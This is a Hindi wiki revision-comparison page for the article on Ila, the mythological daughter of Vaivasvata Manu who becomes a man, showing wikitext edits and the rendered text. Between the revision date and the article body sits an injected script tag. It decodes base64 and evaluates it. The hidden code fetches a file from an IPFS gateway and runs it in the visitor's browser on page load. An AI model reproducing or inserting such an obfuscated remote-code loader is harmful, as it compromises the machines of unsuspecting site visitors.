"इला" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - '==टीका-टिप्पणी==' to '==टीका टिप्पणी और संदर्भ==')
 
(१० सदस्यों द्वारा किये गये बीच के १७ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
==इला==
+
{{menu}}
[[वैवस्वत]] मनु के दस पुत्र हुए । उनके एक पुत्री भी थी इला, जो बाद में पुरुष बन गई । वैवस्वत मनु ने पुत्र की कामना से मित्रावरूण यज्ञ किया । उनको पुत्री की प्राप्ति हुई जिसका नाम इला रखा गया । उन्होंने इला को अपने साथ चलने के लिए कहा किन्तु 'इला' ने कहा कि क्योंकि उसका जन्म मित्रावरूण के अंश से हुआ था, अतः उन दोंनो की आज्ञा लेनी आवश्यक थी । इला की इस क्रिया से प्रसन्न होकर मित्रावरूण ने उसे अपने कुल की कन्या तथा मनु का पुत्र होने का वरदान दिया । कन्या भाव में उसने चन्द्रमा के पुत्र बुध से विवाह करके [[पुरूरवा]] नामक पुत्र को जन्म दिया । तदुपरान्त वह सुद्युम्न बन गयी और उसने अत्यन्त धर्मात्मा तीन पुत्रों से मनु के वंश की वृध्दि की जिनके नाम इस प्रकार हैं- उत्कल, गय तथा विनताश्व । <ref>ब्र0 पु0, 7/1-17</ref>
+
==इला / [[:en:Ila|Ila]]==
 +
*[[वैवस्वत मनु]] के दस पुत्र हुए।
 +
*उनके एक पुत्री भी थी इला, जो बाद में पुरुष बन गई।
 +
*वैवस्वत मनु ने पुत्र की कामना से मित्रावरुण यज्ञ किया। उनको पुत्री की प्राप्ति हुई जिसका नाम इला रखा गया। उन्होंने इला को अपने साथ चलने के लिए कहा किन्तु 'इला' ने कहा कि क्योंकि उसका जन्म मित्रावरुण के अंश से हुआ था, अतः उन दोंनो की आज्ञा लेनी आवश्यक थी। इला की इस क्रिया से प्रसन्न होकर मित्रावरुण ने उसे अपने कुल की कन्या तथा मनु का पुत्र होने का वरदान दिया।
 +
*कन्या भाव में उसने [[चन्द्र|चन्द्रमा]] के पुत्र [[बुध]] से विवाह करके [[पुरूरवा]] नामक पुत्र को जन्म दिया।
 +
*तदुपरान्त वह सुद्युम्न बन गयी और उसने अत्यन्त धर्मात्मा तीन पुत्रों से मनु के वंश की वृध्दि की जिनके नाम इस प्रकार हैं- उत्कल, गय तथा विनताश्व।<ref>[[ब्रह्म पुराण]], 7/1-17</ref>
  
[[category:पौराणिक इतिहास]]
+
==टीका टिप्पणी और संदर्भ==
==टीका-टिप्पणी==
 
 
<references/>
 
<references/>
 +
[[en:Ila]]
 +
[[Category:कोश]]
 +
[[Category:पौराणिक इतिहास]]
 +
[[Category:इतिहास-कोश]]
 +
[[Category:पौराणिक चरित्र और पात्र]]
 +
__INDEX__

०७:०९, २९ अगस्त २०१० के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

इला / Ila

  • वैवस्वत मनु के दस पुत्र हुए।
  • उनके एक पुत्री भी थी इला, जो बाद में पुरुष बन गई।
  • वैवस्वत मनु ने पुत्र की कामना से मित्रावरुण यज्ञ किया। उनको पुत्री की प्राप्ति हुई जिसका नाम इला रखा गया। उन्होंने इला को अपने साथ चलने के लिए कहा किन्तु 'इला' ने कहा कि क्योंकि उसका जन्म मित्रावरुण के अंश से हुआ था, अतः उन दोंनो की आज्ञा लेनी आवश्यक थी। इला की इस क्रिया से प्रसन्न होकर मित्रावरुण ने उसे अपने कुल की कन्या तथा मनु का पुत्र होने का वरदान दिया।
  • कन्या भाव में उसने चन्द्रमा के पुत्र बुध से विवाह करके पुरूरवा नामक पुत्र को जन्म दिया।
  • तदुपरान्त वह सुद्युम्न बन गयी और उसने अत्यन्त धर्मात्मा तीन पुत्रों से मनु के वंश की वृध्दि की जिनके नाम इस प्रकार हैं- उत्कल, गय तथा विनताश्व।[१]

टीका टिप्पणी और संदर्भ